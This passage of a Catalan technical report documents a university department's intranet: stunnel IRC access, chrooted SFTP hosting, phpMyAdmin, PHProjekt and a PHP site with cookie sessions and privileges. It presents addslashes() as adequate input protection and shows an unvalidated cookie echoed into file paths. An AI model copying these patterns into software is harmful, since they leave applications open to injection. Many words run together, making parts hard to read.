stunnel i compilar-lo,o utilitzar algunpaquetdela sevadistribució(ésimportantque
sigui la versióstunnel3.2x).Quanestiguiinstal·lat,la comandaperexecutar-hoseria:
stunnel -c -d 127.0.0.1:6667-r deim.etse.urv.es:5557.Per entrar amb el client es
seguiria els passos 3 i 4 indicats anteriorment.

Les comandes més bàsiques un cop dintre del servidor són:

/server nom-servidor[:port]Conexió a un servidor d'IRC
/list Llistar els canals
/join #gplurv Entrar en el canal anomenat gplurv
/part Sortir del canal o escrivim la comanda

/query nick
Iniciar una conversaprivada amb un altre
usuari

/msg help help Demana ajuda sobre els Bots

ALLOTJAMENT WEB  

Com a servidor per la intranet del Departament d'enginyeria informàtica i
matemàtiquesno enspodíemlimitar nomésa servir la planaweb del departament,
sinóques'haviad'oferir la possibilitatal personaldel mateixespaiwebperpenjarles
seves planes personals.

Per portar a termeaquestpropòsites van utilitzar 3 tecnologiesja comentadesa la
part de disseny:

� Connexions xifrades amb SSH per pujar/baixar arxius (SecureFTP).

� Gàbies chroot per limitar accés al sistema.

� GrsecurityPatchquelimita els usuarisambl'ús de sockets(tant de tipus servidor
com client).

Pertant,perpodertenir-hotot esva configurarun directori “/home/chroot-web”amb
un chroot ja construït. Per tant els directoris dels usuaris seran del tipus
“/home/chroot-web/home/[usuari]”,encaraque ells com a usuarisengabiatsnomés
veuran “/home/[usuari]”. Per permetre l'accés al sistema per pujar/baixar arxius amb
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SFTPs'hadecrearun compteal sistemaqueindiqui quela sevashellésJail Chroot,a
mésaquestusuarino noméspodràpujar/baixararxiusambSFTPsinó que tambées
podràconnectarambSSH per accediral sistemaremotament,aquestacaracterística
no era necessariaperò si imprescindibleper poderhabilitar l'SFTP, per això es va
pendrela mesurad'engabiaraquesttipusd'usuarisja queno tenenperquèaccedira tot
el sistema.Un copcreatl'usuarial sistemas'had'afegiral chroot,tots aquestspassos
estan descrits a l'annex A corresponent a les tasques administratives.

Per servir les webs personals es va configurar el servidor web Apache de forma:

Adreça Referència real
http://deim.etse.urv.es/~usuari /home/chroot-web/home/usuari/html
https://deim.etse.urv.es/~usuari /home/chroot-web/home/usuari/shtml

Pertant,un usuariambespaiweb,un copaccedeixiperSFTPha de deixarles seves
planesweb a seudirectori personalhtml/ si no vol encriptació,i a shtml/ si vol accés
xifrat amb SSL.

Per aquesttipus d'usuaritambées té habilitat el suportPHP de forma que puguin
gaudirdela generaciódepàgineswebdinàmiques,ja quea méstambése'lsofereix la
possibilitatde tenir accésa unabasede dadesMySQL. Perpodertindreunabasede
dadess'ha de demanara l'administració la creació d'aquestai l'assignaciód'un
usuari/passwordperpoderutilitzar-la.Els usuaristindrandosmètodesperaccedira la
seva base de dades un cop creades:

� SSH + mysql
Si esvol accedira la basededadesdirectamentambla shelldemysql,els usuaris
han d'entrar al sistema mitjançant SSH i a continuació executar:
 

mysql -p -u usuari_bd -h 127.0.0.1 basedades

Això el quefa esaccedira la basede dadesutilitzant la connexióvia xarxa,però
comla connexióesrealitzalocalmenta la pròpiamàquina(127.0.0.1)nosurtcapa
l'exterior i per tant les dadesno podensercapturadesper algú queestiguiespiant
des d'un altre ordinador.

� PHPMyAdmin

Accedinta https://deim.etse.urv.es/mysqléspot realitzarunaconnexióa la basede
dades utilitzant un interface web que explicaré més endavant.

Per poder pujar/baixararxius amb SFTP existeixendiferents clients per diversos
entorns:
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Entorns Windows

WinSCP2 (que el pot trobar a http://deim.etse.urv.es/aplicacions/SSH/Windows/)
SecureShellClient (http://deim.etse.urv.es/aplicacions/SSH/Windows/)

Entorns GNU/Linux

sftp (client de consola simple que proporciona el paquet OpenSSH)
yafc (client de consola molt potent http://deim.etse.urv.es/aplicacions/SSH/Linux/)

PHPMYADMIN  

PHPMyAdmin és una interfaceweb que pot gestionardesd'un servidor sencerde
basede dadesMySQL fins a una simple basede dadesdintre del servidor. Les
principals possibilitats de PHPMyAdmin són:

� Crear i esborrar bases de dades
� Crear, copiar, esborrar, renombrar i alterar taules
� Fer el manteniment de taules
� Esborrar, editar i afegir camps
� Executar qualsevol ordre SQL, inclús ordres en batch
� Gestionar les claus de camps
� Carregar fitxers de text dintre de les taules
� Crear i llegir bolcats de taules
� Exportar dades als formats CSV, XML i Làtex
� Administrar múltiples servidors
� Gestionar els usuaris de la MySQL i els seus privilegis
� Comprovar la integritat referencial
� Utilitzar les crides-per-exemple o query-by-example (QBE)
� Crear gràfics PDF de l'estructura de la base de dades
� Cercar global en la base de dades o en un subconjunt d'aquesta
� Transformacionsde la informació en qualsevol format utilitzant funcions

predefinides, com mostrar BLOB-data com una imatge o links, etc...
� Traduït a 42 idiomes diferents, inclòs el Català

Al realitzar la configuració inicial hem de decidir quin mètoded'autentificacióes
realitzarà als usuaris, els possibles són: http authentificate mode, cookie
authentificatemodei config authentificatemode.Comqueenel nostrecasvolemque
qualsevolusuaridela MySQL puguiaccedira la sevabasededades,s'had'establirun
mètodetipus cookie,quecom el propi nom indica,utilitza cookiesper identificar els
usuaris.
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Per accedira PHPMyAdmin les connexionses realitzaranxifradesambSSL ja que
requereix autentificació, la seva adreça és https://deim.etse.urv.es/mysql.

PHPROJEKT  
A diversesassignaturesdonadesper professorsdel departamentutilitzen unaeinade
treball col·laboratiuvia web anomenadaBSCW, però aquestano es lliure, només
regalen una llicencia gratuïta per cada departamentd'Universitat. Per tant, vaig
estudiarla situaciódel campd'einesdetreballcol·laboratiuambinterfaceweblliures,
trobant la següent:

phpGroupWare (formalment conegut amb webdistro)

Consisteixen unaeinade grup multi-usuariescritaen PHP.Disposad'unainterface
web ambcalendari,llista de cosesper fer, agenda,mail, capçaleresde notíciesi un
gestord'arxius. El calendarisuportaeventsrepetitius.El sistemade mail suporta
gràfics i arxius adjunts. El sistemasencersuporta preferènciad'usuaris, temes,
permisos d'usuaris, multi-llenguatge i grups d'usuaris.

Després d'instal·lar i avaluar phpGroupWare vaig veure que no cobria
satisfactòriamentles necessitats,esmostravamolt inestablei confús,poc intuïtiu. Es
notamassaqueestanen unaversió0.9.x queencarano esla definitiva. Per tant, va
quedar descartat com a substitut de BSCW.

La següent alternativa disponible es tractava de PHProjekt :

PHProjektesunaaplicaciómodularqueté com a objectiu la coordinaciód'activitats
en grups,ajudaa compartirinformació i documentsutilitzant unaintraneti Internet.
PHProjektestàdisponibleen 28 idiomes inclòs el Catalài pot utilitzar 6 tipus de
basesde dadesdiferentsinclosala MySQL. Els principalscomponentsdePHProjekt
són:Calendaridegrup,gestiódeprojectes,sistemade targesd'hores,gestord'arxius,
gestor de contactes, client de mail i uns altres 9 mòduls més. 

A continuaciópassema descriurelessevescaracterístiquesgeneralsi especifiquesde
cada mòdul:

General:

- Estructura modular
- Diferents graus de privilegis
- Sistema de grup opcional
- Accés ldap per usuaris i contactes
- Suport per 28 idiomes inclòs el Català
- API per incloure altres aplicacions
- Instal·lació, actualització i configuració molt bé documentada
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Calendari

- Mode simple: vistes per dia, setmana, mesos i llistat complet
- Mode grup: vistes d'horaris compartits per diversos usuaris
- Inserció d'events en els horaris d'altres usuaris
- Creació de perfils per grups
- Events repetitius: cada dia, setmana, mes o any
- Assignació de comentaris, contactes o projectes a un event
- Possibilitat de mantenir un event privat o permetre accés públic
- Sel·lecció de l'inici i final de l'event fent click
- Reserva de recursos (e.g. Habitacions) pels events
- Recordatoris via SMS o email
- Impressió de cada vista

Agenda (Contact manager)

- Importació/Exportació de contactes a diversos formats
- Possibilitat de tindre contactes privats o oberts a l'accés de tothom
- Taula per veure tots els membres del projecte
- Ordenació per totes les categories en qualsevol sentit
- Historia: vista de notes per un contacte
- Sistema de filtració

Time card system

- Botons ràpids per iniciar o finalitzar
- Assignació de dies laborables a diferents projectes
- Visualitzar tots els usuaris que estan treballant en aquest precís instant
- Resum mensual

Projectes

- Subprojectes amb profunditat ilimitada
- Llistat de projectes en estructura d'arbre
- Estat del projecte mantingut per un cap
- Assignació de cites pels projectes actuals
- Resultats estadístics: qui ha treballat en quin projecte
- Diagrames de Timeline/Gantt per tots els projectes
- Vista de les notes o arxius relacionats
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Chat

- Veure els membres que estan online
- Guarda la discussió actual en un arxiu

Fòrum

- Vista per temes (threads) en forma d'arbre
- n elements per pàgina
- Sistema de filtració
- Impressió de posts

Control de peticions (Request tracker)

- També anomenat sistema de tiquets per resoldre problemes o ajuda a l'escriptori
- El client afegeix peticions en una pàgina especial
- Cercador del coneixement base per resoldre peticions
- Confirmació per mail automàtica
- Assignació d'usuaris automàtic o manual
- Llistat i vista de formulari
- Ordenació i funcions de filtratge
- Definició de peticions com a subprojectes
- Assignació de temps de treball a la petició (per poder calcular costs més tard)

Mail client

- Accés pop3 o imap
- Rebre/enviar mails
- Format ascii o HTML, adjunts
- Suport per diversos comptes
- Regles per assignar mails a carpetes
- Visualització dels mails en estructura d'arbres amb carpetes
- Suport per Fax i SMS

Files

- Arxius, intranet links i directoris
- Estructura d'arbre amb carpetes
- Sistema d'accés restringit per cada arxiu
- Vista en taula de tots els documents relacionats amb tots els grups
- Filtratge per llistes d'arxius
- Ordenació per totes les categories
- Secció per pujar arxius (upload)
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Notes

- Guarda els memos i idees personals
- Resum ràpid de totes les notes, funcions d'edició
- Assignació d'un contacte o projecte a una nota
- Possibilitat de mantenir una nota privada o obrir-la per donar accés a tothom
- Copiar o enviar per mail a un altre usuari
- Cercador de text

Bookmarks

- Llista ràpida d'adreces importants
- Editor per la introducció de noves adreces
- Comprovació per entrades duplicades

Voting system

- Sel·lecció de persones individuals per votar
- Editor per crear la votació/enquesta
- Fins a 3 possibles respostes (simples o múltiples)
- Vista de taula de totes les votacions actuals o pasades

Administration

- Accés per password només a administradors
- Gestió de grups, usuaris, projectes, recursos i timecards
- Comprovació de links trencats en els bookmarks
- Esborrat de temes antics (threads) del fòrum
- Altres...

Todo list

- Inserció ràpida de petits memos
- Usuari amb estatus “chief” pot assignar “todos” a altres
- Llistat amb opció d'esborrat

Reminder

- Petita finestra que mostra els events actuals
- Opció addicional: alertes abans d'un event
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Search System

- Cerques de text completes en mòduls simples
- Cerca en tota la pàgina web

Per tant, PHProjekt si que oferia una amplia gamade possibilitatsper cobrir les
necessitatsgeneradesambBSCW, a mésesva mostrarmolt establedesd'un primer
momentdonantuna sensacióde robustesaimportant.Actualmentestasentavaluat
pels professorsque feien ús de BSCW a les sevesassignaturesper estudiaruna
possible migració.

APLICACIÓ WEB  

A continuaciópassoa descriurecom ha sigut implementadal'aplicació web per
servidor de la intranet del Departament d'enginyeria d'informàtica i matemàtiques.

� ORGANITZACIÓ GENERAL

La pàginaweb es troba dividida en dos branquesprincipals: la part accessibleper
tothom i la part d'administracióque requereixencriptacióper evitar que les dades
d'accés i els canvis viatgin per la xarxa de forma clara.

Característiques generals de l'impelementació:

�  Totes les pàgines fan ús de la fulla d'estils ubicada a "html/estils/hoja.css"

� Pràcticamentla totalitatdelsformularispassenla informacióambel mètodePOST
perevitar la fàcil edició dedadesa l'adreçadel navegador.Existeixenexcepcions,
a les seccionsnomésde consultess'ha utilitzat mètodesGET per facilitar el
linkatge des d'altres pàgines.

� Sempreque es rebia informació des de formularis he fet ús de la funció
"addslashes()"per anul·larcaràctersespecialsi per tant impossibilitar qualsevol
intent d'aprofitar-se per tenir accés a més privilegis.

� S'hautilitzat la següentnotació:Quanunaplanaaccedeixdirectamenta la BD per
consultaro realitzarcanvisel seunom acabaràen [nom]db.php.Trobemalgunes
excepcions en pàgines a on s'han de realitzar comprovacions o llistats extres.
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� PÀGINES D'ACCÉS SENSE ENCRIPTACIÓ

Directori: HTML/

* Accés amb http://deim.etse.urv.es

La partaccessibleper tothomestrobasota"html/". Toteslespàginesdenovacreació
(les que són mantingudesen el seu format original no) tenenextensió.php ja que
agafaranel menúde l'esquerrad'unarxiu concretutilitzant funcionsdePHP.Esa dir,
hi hanmoltespàginesquesónestàtiquesperònecessitenPHPperafegir el menú.He
decidit centralitzar-hoper facilitar l'ampliacióde seccionso la reestructuracióde la
web, d'aquesta forma els canvis només afecten a un arxiu.

� MULTI LLENGUATGE

Un delsrequisitseraquela pàginatinguesla informacióessencialencatalà,castellài
anglés.Perportaraixò a termehe escritun arxiu anomenat“language.inc”queconté
un enllaça codi en javascript(cookies.js)i 3 imatges(català,english,castellano)que
el quefan al serclicadesesestablirla cookieLANG a “cat”, “en” o “es” segonsquin
idioma hagi seleccionat.Tota pàginaque es pugui canviar d'idioma ha de fer un
“include” d'aquest arxiu per visualitzar les opcions.

A més,tenim tots els botonsde l'aplicacióweb traduïtsa tots els idiomes.Es poden
trobar a images/xx/a on “xx” serà “cat” per català,“en” per l'anglés i “es” per
castellà.D'aquestaforma, les pàginesmultilingüesficaran les sevesimatgescom el
següent exemple:
Al inici de la pàgina:
                $lang = $_COOKIE["lang"];
I després totes les imatges que tenen texte:
    <....src="images/<?php echo $lang ; ?>/tornar.jpg"...>

De forma quea totselsdirectorisdeles imatgestraduïdesexisteixun tornar.jpgperò
cadascunenel seuidiomacorresponent.Així la pàginamostraràla imatgedel'idioma
seleccionat (que tindrem a la cookie).

Una de les parts essencialsa traduir era el menúde navegacióesquerra,totes les
pàginesque tenen aquestmenú han d'incloure l'arxiu “menu.inc” el cual alhora
inclouràel menúen l'idioma quecorresponguisegonsla cookiequetingui el client:
“menu_cat.inc”, “menu_en.inc”o “menu_es.inc”.I a mésinclourà el diccionari de
l'idioma corresponent,això ho explicaremmésendavant.Per tant, sempreques'hagi
d'afegir,treureo modificar algunacosaal menúde l'esquerrade la pàginaweb s'han
de modificar aquests3 arxius: “menu_cat.inc”, “menu_en.inc”o “menu_es.inc”,a
més, s'ha de tenir en compte que els links especificats a aquest arxiu han de ser
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absoluts(no relatius) per funcionar correctamentdes de qualsevolsecció.Aquest
sistemaamb3 arxiusrepresentaquetenimel menúcentralitzatnomésen3 fitxers i no
cal anar pàgina per pàgina modificant.

Comja hemdit abans,existeixentambéundiccionariambtextscurtspercadaun dels
idiomes:“text_cat.inc”. “text_en.inc” i “text_es.inc”.Aquestscontenenun array del
tipus:
   $text = array (
    'Data'=>'Date',
    'Titol'=>'Title',
     ....);

De forma quea les planesquehagind'usaraqueststextshaurande ficar <?phpecho
$text[Data];?> i com el diccionarihasigut carregatautomàticamentpel “menu.inc”,
imprimirà per pantalla el text en l'idioma que correspongui a la cookie que té el client.

Les zones traduïdes són:
  Tot el menú de navegació esquerra
  Pàgina principal: index.php (Es poden tindre novetats/notícies en 3 idiomes)
  Localització
  Fotos
  Propostes de tesis
  Cercar tesis
  Llistat de personal
  Cercar personal
  DEIM Webmail
  

� PARTS DINÀMIQUES

Les parts dinàmiques es troben a:
  cercar/
  deiminaris/
  novetats/
  personal/
  tesis/

La informació que necessitenes troba a la base de dades"deim" de MySQL.
L'especificaciódela BD estrobaadjuntaa aquestadocumentacióa l'arxiu "deim.sql"
(espot trobara html/private).S'hacreatun usuariespecíficambpermisosde només
consulta anomenat "webdeim".

* Per realitzar canvis a la BD es farà amb un altre usuari amb privilegis per
modificar la BD, d'aquesta forma augmentem la seguretat del sistema.
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Per realitzarla connexiócontrala basede dadeses fa ús de la funció "Conectar()"
definidaa l'arxiu "private/connect.inc",al qual estrobendadescrítiquescom el nom
d'usuarii el passwordper connectara la BD. L'arxiu a "htm/private" es diferent de
l'arxiu a "shtml/private"perquèal primer es connectaràambun usuaride privilegis
restringits(nomésconsultes)i al segonambun usuariavançat(permisosd'escriptura),
d'aquestaformadiferenciemlesnecessitatsdela partpúblicai la seguraincrementant
el nivell deseguretat.Si esmodificael passwordd'aquestsusuarisa la Basededades
mysql,seràenaquestsarxiusa on s'hauràdemodificarperpermetrel'accésa la web.
He utilitzat tipusdeconnexiópersistent,deformaquesi ja existiaunaconnexióamb
la basede dadesamb el mateix login i password,es reutilitzarà aquestai no es
realitzaràunanovamillorant el rendimentdel serveiweb(peraquestmotiu tampoces
tanquen les connexions després de fer ús d'elles).

El directori "private/" (el de html/ i el de shtml/) esta protegit des de l'arxiu de
configuraciódel'Apache(/etc/apache/httpd.conf)deformaqueningúpot accediramb
el seu navegador al seu contingut. A més, l'arxiu te els següents permisos per protegir-
lo d'un accés directe al sistema:  -rw-r-----  webmaster  apache  connect.inc

�
CERCADOR

Directori: CERCAR/

Cercadorphpdig,anteriormentestavaintegratplenamenta la web,peròva resultartot
un problemaper realitzaractualitzacions,així quehe optatper no fer unaintegració
excessiva.El quesi s'harealitzatha sigut la traduccióal catalài em separatla seva
administració per ficar-la amb accés SSL.

Nomésindexaràlinks normals,no formularis.Pertantsi volemqueindexi partsde la
webquea la vegadahanderebreparàmetres,utilitzaremel mètodeGET per fer links
amb paràmetres de l'estil: http://deim.etse.urv.es/veure.php?pag=10.

A "html/cercar/includes/common_words.txt"es trobaun arxiu amb les paraulesmés
comunesde diferents llenguatges,com veurem més endavant,aquestarxiu serà
utilitzar pereliminardela BD aquesttipusdeparaulesquenoaportengensdequalitat
al cercador.

�
SEMINARIS

Directori: DEIMINARIS/

Seccióambel deiminaris(seminaris)queesfan al DEIM. Es podencercarpercicle
(e.g. 2002/2003)i visualitzarhistòrics.A méssi n'hi ha nouses mostraràun llistat
d'ells.
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Persaberquin esel properdeiminiari fem unaconsultaalsquetenenunadataigual o
posteriora l'actuali d'aquestsseleccionemel quete la dataméspetita.No visualitzem
la data ni hora dels que la tenen com 31/12/999923:59:59 perquè aquestssón
seminaris amb data no determinada.

Quanvisualitzemun deiminari en concrettenim la possibilitatde crearun PDF per
imprimir-ho. Per portar a termeaquestaacció,s'hafet ús de les classesFPDF 1.51
(ubicata html/fpdf/), aquestsoftwareeslliure i espot modificar lliurement,a mésno
utilitza capaltre llibreria extra.El text ques'incloual pdf passaper la unafunció de
formateigqueestrobaa "html/private/text.inc",la quals'encarregade treureels tags
html.

�
NOVETATS/NOTÍCIES

Directori: NOVETATS/

Seccióper les novetats/notíciesde la web, es pot veure un històric de totes les
novetats/notíciesagrupadesde 10 en 10. Per paràmetre(GET) indiquema partir de
quina noticia es vol visualitzar. Hi han novetats en els 3 idiomes.

La planaprincipal html/index.php(quees visualitzadirectamental entrara la web)
accedeix a les novetats per mostrar en portada les últimes 5 novetats/notícies. 

�
PERSONAL DEL DEIM

Directori: PERSONAL/

Secció amb el personal del departament, es pot cercar (per qualsevol camp) i llistar. El
llistatsespodenordenarpernomi peràrea(fent click a les capçaleres),a mésespot
treureun llistat enpdf perimprimir fàcilment(segonsenquinavistaestem,si tenimel
llistat per nom o per àreael pdf correspondràal mateix ordre).Aquestaseccióesta
disponible en els 3 idiomes.

En aquestasecció s'utilitza un parell de funcions ubicadesa "html/private/func-
personal.inc" que tradueixen noms d'àrees als seus AID i al contrari.
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�
PROPOSTES DE TESI

Directori: TESIS/

Seccióamb les tesispropostesper professorsdel departament.Es podemcercarper
qualsevol camp i llistar totes. Aquesta part de la web esta disponible en els 3 idiomes.

En aquestasecciós'utilitzenunasèriede funcionsubicadesa "html/private/func.inc"
lesqualsrealitzentransformacionsentrel'ID d'unapersona,el seunomi el seulogin,
i transformacions entre el CID d'una categoria i el seu nom.

� PARTS ESTÀTIQUES

Les parts estàtiques:
  presentacio/
  ajuda/
  images/
  recerca/

�
AJUDA

Directori: AJUDA/

Aquí es pot trobar una extensacol·lecció de manuals/tutorialsmolt útils pels
estudiants.

�
IMATGES

Directori: IMATGES/

Aquí s'ubiquen les imatges de tota la web, normalment trobarem que a cada
subdirectorihi ha un link simbòlic capaquestdirectori,així esmantenenels links a
imatgesenleswebsdeformaméssenzilla.Comja hemexplicatal inici anteriorment,
a méscontéels directoriscat/, en/ i es/a on estrobenles imatgesambtext traduïdes
(les de cat/ tambées troben a images/,estanduplicadesperquèhi ha planesque
utilitzen el sistema multilingüe ja explicat i d'altres que no).
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� PÀGINES D'ACCÉS AMB ENCRIPTACIÓ SSL

Directori: SHTML/

* Accés amb https://deim.etse.urv.es

Aquí s'ubiquenles pàginesque requereixenun tractamentespecialdegutal risc de
seguretatquesuposen.Peraccedira aquestasecciós'hade fer ambun navegadorque
permeti l'ús de l'encriptació(SSL), d'aquestaforma la comunicacióentre el client
(internauta)i el servidoresfaràdeformaxifrada,ningúpodràveurelesnostresdades
d'accés ni els canvis que hi fem.

* Aquestazonaaccedeixa la basede dadesutilitzant l'usuari "webdeimadmin"el
qual té privilegis per modificar la BD. Així diferencieml'accésa la BD de la part
pública de la part d'administració, incrementant la seguretat.

* En lesseccionsa on espodeninsertar textsen formathtml s'hanfet úsde funcions
de formateiglocalitzadesa "shtml/private/text.inc".Lesqualss'encarregàde deixar
passarnomésels tagspermesos,transformarnewlinesper <br>, espaisper &nbsp;
etc..

La pàginaprincipal constad'un formulari al qual hauremde introduir les nostres
dades d'entrada: nom d'usuari (login) i el password.

� MÈTODE PER L'AUTENTIFICACIÓ D'USUARIS

L'usuari introdueix les sevesdadesd'accésal formulari de "shtml/index.php",aquest
les passaa "shtml/cookie.php"el qual, desprésd'afegir-li una cookie amb el login
introduït, buscaa la basede dadesalguna entradaa on coincideixi el login i el
password,si no trobacapli fica a l'usuariunacookiedesessióbuidai el redirigeixa
"login.php" el qual li negarà l'accés.

Si trobaunaentradacorrectaper l'usuari,escrearàun stringaleatoride longitud32 i
es guardaràa una cookie amb nom sessiói a més,es guardaràa la basede dades.
Seguidament serà redirigit a "login.php".

A partir d'aquestpuntcadapàginavisitadadinsdel directori "shtml/" faràunacridaa
l'inici del document a la funció "ident()" sense paràmetres definida a
"shtml/private/ident.inc". Aquesta funció té doble ús:
  - Si no li passem cap paràmetre l'utilitzarem per validar la sessió, es a dir, comparà el
login i la sessióde les cookiesdel client amb les dadesque te a la BD. Si no són
correctesno permetranla càrregatotal dela pàgina.Si la sessióno te unalongitudde
32 caràcters tampoc serà autoritzat.
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- Si li passemunparàmetrela funció validaràqueel paràmetrepassatesel password
del'usuariactual.Aquestaaccióensseràútil perquanun usuarivulgui canviarel seu
password.

Per tant, amb la crida d'aquestafunció ens asseguremque un usuari no autoritzat
accedeixi a una pàgina d'administració.

Per acabar la sessió el usuari farà click a "Tancar sessió" que apuntarà a
"desconectar.php",aquestarxiu s'encarregaràdeesborrarla sessiódela BD i eliminar
les cookies "login" i "sessio" de l'usuari.

Les cookiesquerep l'internautatenenunacaducitatd'1 hora.Cadacop quel'usuari
naveguipelsmenúsd'administracióel tempstornaràa comptardesde 0. Si arribesa
passar1 horasensecapmovimentde l'usuariper la web,la sessióterminariai hauria
de tornar a introduir el seu nom d'usuari i password.

� SISTEMA DE PRIVILEGIS

La web suportal'accésdediversosusuaris,cadascundelsqualspodentenir tasqueso
privilegis diferents.

Privilegis per afegir/modificar/esborrar:
  Novetats/Notícies
  Personal (totes)
  Fitxa personal pròpia
  Totes les Tesis i Categories
  Només les seves Tesis
  Deiminaris
  Usuaris

Quanun usuarientraal sistema,al carregarel menúprincipal ("login.php") noméses
visualitzaranles seccionsa on tingui privilegis peractuar.A més,percadapàginade
les seccionses farancomprovacionsper veurequel'usuari realmentté privilegis per
estaren aquestazona,ja queencaraqueun usuarisenseprivilegis no podriaaccedir
pel menúsi quepodriateclejarl'adreçadela secciómanualment.Perrealitzaraquesta
menadecomprovacionsesfa úsdela funció "autoritzar()"quete coma paràmetresel
login de l'usuari i la zonaa la que vol accedir,si te permísel deixaràpassar,sino
visualitzarà un missatge d'error i no el deixarà continuar. Aquesta funció
es troba a "shtml/private/ident.inc".

Un usuari que no tingui cap privilegi només podrà entrar per canviar el seu password.

Hi ha un superusuarianomenatadmin,el qual té el control total (tots el privilegis).
Aquest usuari no es podrà modificar/esborrar en cap moment.
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� ADMINISTRACIÓ D'USUARIS I LOGS

Directori: ADMIN

Al directori "shtml/admin"estrobentotsel arxiusrelacionatsambla gestiód'usuaris
dela web.Espodranafegir/modificar/esborrarusuaris.Tot usuarihad'estarassociata
unapersonaresponsablequehad'existira la basededadesdel personaldel DEIM. El
passwordha de tenir una longitud mínima de 5 caràctersi no pot ser igual que el
login. Aquestesrestriccionss'apliquentant a l'hora decrear/modificarusuaris,coma
l'horadel canvidel passwordperpart del propi usuari.Amb aquestesreglesgarantim
una mínima qualitat del password.

Espodrancercarusuarisperlogin, responsableo perprivilegis (fent unAND lògic de
totselspermisosseleccionats).D'aquestaformaseràmésfàcil localitzarun usuariper
modificar-ho o esborrar-ho.

Per tenir accés a aquesta zona cal tenir el privilegi "Usuaris".

A més, conté 2 arxius (viewlog.php i viewmaillog.php) que pertanyen a la secció
delogsa on nomésl'administradorpot accedir.El primervisualitzael log queguarda
les entradesal menú administratiudels diferentsusuaris,i proporcionainformació
valuosaperdetectarintrusos.El segon(viewmaillog.php)visualitzael log delsusuaris
del webmail, aquesten comptesd'utilitzar la funció "Conectar()" per realitzar la
conexiócontrala BD utilitzarà"ConectarWebmail()"ja queel log estrobaenunaBD
diferent.

� ADMINISTRACIÓ SEMINARIS

Directori: DEIMINARIS

La gestió de deiminaris es troba a "shtml/deiminaris". Podrem afegir/modificar/
esborrar, inclús cercar segons el cicle al que pertanyen per facilitar l'administració.

Al afegirdeiminarishi hanmoltscampsquetenenun valor perdefecte,comqueesel
valor quenormalments'utilitza,estalviaremtemps.L'any esl'actual,el cicle fica el de
l'últim deiminari introduït, la resta de valors per defecte són fixes.

La datai horapodenno especificar-se,per això hauremde marcarla casella"Sense
determinar".A la basededadesesguardaràcoma 31/12/999923:59:59,i aquestserà
el símbol que identificarà els deiminaris sense data determinada.
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En el campcicle delsdeiminariss'hadeficar el primeranydel cicle al quepertanyel
deiminari.El programawebs'encarregaràautomàticamentde calcularel següentany.
Es a dir, si el deiminari pertanyal cicle 2002/2003,especifiquem2002i el sistema
calcularà el 2003 en base al 2002.

El resum pot set introduït en format HTML, només seran permesosels tags
especificatsa l'ajuda adjuntadaen forma de link al formulari. Aqueststexts seran
formatejats amb les funcions trobades a "shtml/private/text.inc".

També tenim un apartatanomenatextra a on ens sortirà un llistat dels propers
deiminaris, els qual podrem imprimir o enviar un mail d'avis/pre-avis.El mail
s'enviaràa tot un llistat d'adrecesquepodremafegir i esborrardesd'aquestamateixa
secció.S'hautilitzat phpmailer1.62perenviarelsmailsa travésdel servidorsmtpde
l'etse.urv.es.

Per tenir accés a aquesta zona cal tenir el privilegi "Deiminaris".

� ADMINISTRACIÓ NOVETATS/NOTÍCIES DE PORTADA

Directori: NOVETATS

Els arxius relatiusa la secciónovetats/noticiesestrobena "shtml/novetats".Podrem
afegir/modificar/esborrarnovetats,a mésde cercar-lespel seutítol o contingutper
facilitar l'administració.A més,totanotíciaespot afegirenqualsevoldels3 idiomesi
es guardarà a la seva taula corresponent.

Hi ha 1 taulapercadaidioma en la quepot estarunanovetat,esdecideixa quinaha
d'anarsegonsel que indiquemals formularis. A l'hora de modificar l'idioma d'una
novetates té en comptequin seràel seu nou idioma a partir del que hem ficat al
formulari, i quina era el seuantic idioma (per tant, a quina taula estava)segonsla
cookieLANG queté el client. Aquestacookieseli fica quanal llistat denovetatsper
modificar indica que vol modificar les de l'idioma X (utilitza el mateix mètodeque
s'utilitzaa les pàginesmultilingüesde la web principal).Pertant ambaquestmètode
podem saber des d'on hem de moure la novetat i cap a on.

El cos de la notícia pot contenir tags HTML al igual que la secció explicada
anteriorment.

Per tenir accés a aquesta zona cal tenir el privilegi "Novetats".
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� ADMINISTRACIÓ LLISTES DEL PERSONAL DEL DEIM

Directori: PERSONAL

L'administració de personal es troba a "shtml/personal". El personal pot ser
creat/modificat/esborrat.Podemcercar per qualsevoldel seuscampsper facilitar
l'administració.

El personaldel departaments'agrupaper àrees,desd'aquí tambées porta a terme
l'administraciód'aquestes.Podemcrearde noveso esborrarles ja existents.Hi ha un
àrea anomenada "No determinada" que no es podrà esborrar en cap moment.

L'accésa aquestaseccióesta dividit en 2, el usuarisamb el privilegi "Personal
(totes)" tindrà accésa totes les fitxes i a la modificació d'àrees.D'altra bandael
usuarisambel privilegi "Fitxa personalpròpia"noméspodràeditar la sevafitxa. Per
fer això possibleel usuarisambcontrol total tindranaccésa unsarxiusi la restafaran
les modificacionsa travésde "modificar-propi.php"el qual rebràl'id de l'usuariper
mètode GET (a la url).
A més,per portar a terme la actualitzacióa la BD si que usaràel arxius generals
(preview-mod.phpi modificardb.php).Per evitar que un usuariediti les dadesd'un
altre, a cadaun d'aquests3 arxius es fan comprovacionsper veuresi l'usuari està
editant realment les seves dades o les d'un altre. Per portar a terme aquesta
comprovacióesfa úsdela funció "es_el_seu_id()"ambparàmetrel'id del'usuarique
esvol editar.Aquestafunció estrobaa "shtml/private/ident.inc".Si coincideixl'id de
l'usuari actiu amb l'id del que vol editar no farà res, sinó bloquejaràla connexiói
visualitzarà un missatge d'error.

Esborrarun registredel personalimplica la eliminació de qualsevolusuari lligat a
aquestnom, a més si la personaparticipa en propostesde tesi serà treta d'elles.
Seguidamentescomprovaquecaptesiss'haquedatsensedirectorper culpad'aquest
canvi, si es troba alguna serà eliminada automàticament.

Esborrarun àreafarà quetot el personalquepertany-hipassía formar part de l'àrea
"No determinada".
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� ADMINISTRACIÓ DEL CERCADOR

Directori: CERCAR/ADMIN

Aquí tenim el fitxer d'administraciódel cercadorde la web. Es tractadel Cercador
PHPDig traduït al català.L'usuari administradores anomenat“admin” i no té cap
menaderelacióambl'usuariadministradorde la aplicacióweb.Desd'aquestasecció
podem:
 - Indexar una URL amb profunditat X: donada una adreça de web, indexa totes
   les pàgines i els seus links sense sortir del domini. La profunditat
   indica el nombre de links que es pot allunyar de la pàgina principal.
 - Esborrar un site indexat.
 - Actualitzar/Canviar l'indexació d'un site: Es pot "navegar" (amb la fletxa 
   blava) per les pàgines indexades i es permet treure (amb la creu taronja) de 
   l'arbre d'indexació certes pàgines, o tornar-les a indexar (símbol de color
   verd) en el cas que hagin sigut actualitzades.
 - Netejar index: Esborra webs que no son referenciades per cap pàgina.
